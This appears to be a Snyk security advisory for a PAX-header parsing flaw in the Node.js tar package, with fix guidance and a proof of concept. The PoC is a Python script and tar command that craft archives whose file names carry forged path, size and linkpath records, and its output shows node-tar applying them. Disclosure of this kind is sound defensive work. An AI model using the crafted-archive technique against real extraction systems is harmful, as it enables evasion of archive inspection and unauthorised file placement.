Interpretation Conflict Affecting tar package, versions >=7.5.0 <8.0.0


Severity

Recommended
0.0
high
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.83% (59th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-JS-TAR-23314568
  • published2 Dec 2026
  • disclosed2 Dec 2026
  • creditMohsin Mukhtiar Lashari

Introduced: 2 Dec 2026

NewCVE-2026-140235  (opens in a new tab)
CWE-436  (opens in a new tab)

How to fix?

Upgrade tar to version 8.0.0 or higher.

Overview

tar is a full-featured Tar for Node.js.

Affected versions of this package are vulnerable to Interpretation Conflict via the parseKV function in src/pax.ts, which parses POSIX PAX extended headers by splitting the header body on newlines rather than consuming length-delimited records as the format specifies. A record whose value contains a newline is mishandled in two ways: the true record is dropped (the entry falls back to its truncated 100-byte ustar name), and any post-newline fragment that itself forms a self-valid <length> key=value line is applied as a real extended-header field. This allows an attacker to inject arbitrary PAX fields (path, size, linkpath, mode, uid, gid, mtime) into an archive entry, causing node-tar to assign different names and attributes to entries than every compliant reader (GNU tar, bsdtar, Python tarfile) would, defeating name-based and attribute-based inspection. In default extraction mode the effect is confined to the extraction root, but with preservePaths a forged path may be absolute or contain ...

PoC

Validated on source main @ 2a22bfc and against the published npm package tar@7.5.22, Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.

# create files whose names embed a newline + a forged record tail, pack with a compliant packer
python3 - <<'EOF'
import os; d='/tmp/paxnl/src'; os.makedirs(d, exist_ok=True)
open(os.path.join(d,'A'*95+'\nTAIL1.txt'),'w').write('PAX-DEPENDENT\n')          # legit newline name
open(os.path.join(d,'B'*95+'\n'+'24 path=forged-name.txt'),'w').write('INJECTED\n')  # forged path
open(os.path.join(d,'C'*95+'\n'+'10 size=0'),'w').write('EIGHTBYTS')              # forged size (true 9)
open(os.path.join(d,'D'*95+'\n'+'14 linkpath=a'),'w').write('X')                 # forged linkpath on a File
EOF
tar --format=posix -cf /tmp/paxnl/gnu.tar -C /tmp/paxnl/src .

Observed reading /tmp/paxnl/gnu.tar:

GNU tar / Python : true names, len 107-121, correct sizes, linkpath ''
node-tar t()     : pathlen=100 size=14                     (A: newline record dropped -> truncated)
                   pathlen=100 size=0                       (C: forged size=0, true size 9)
                   pathlen=100 linkpath="a"                 (D: forged linkpath on a plain File)
                   pathlen=15 "forged-name.txt" size=9      (B: forged path applied)
node-tar x()     : materializes 'forged-name.txt' on disk; A/C/D under truncated names

GNU tar and Python read every file under its true (long) name with correct attributes; node-tar drops the real records and applies the forged ones. The forged linkpath on a plain File is itself the injection route into the path-reservation deadlock (advisory 01), and the forged size feeds the meta-entry desync (advisory 02).

Note: Validated against the published npm package tar@7.5.22 and source main, on Node v24.19.0, compared with GNU tar 1.35 and Python 3.13.

CVSS Base Scores

version 4.0
version 3.1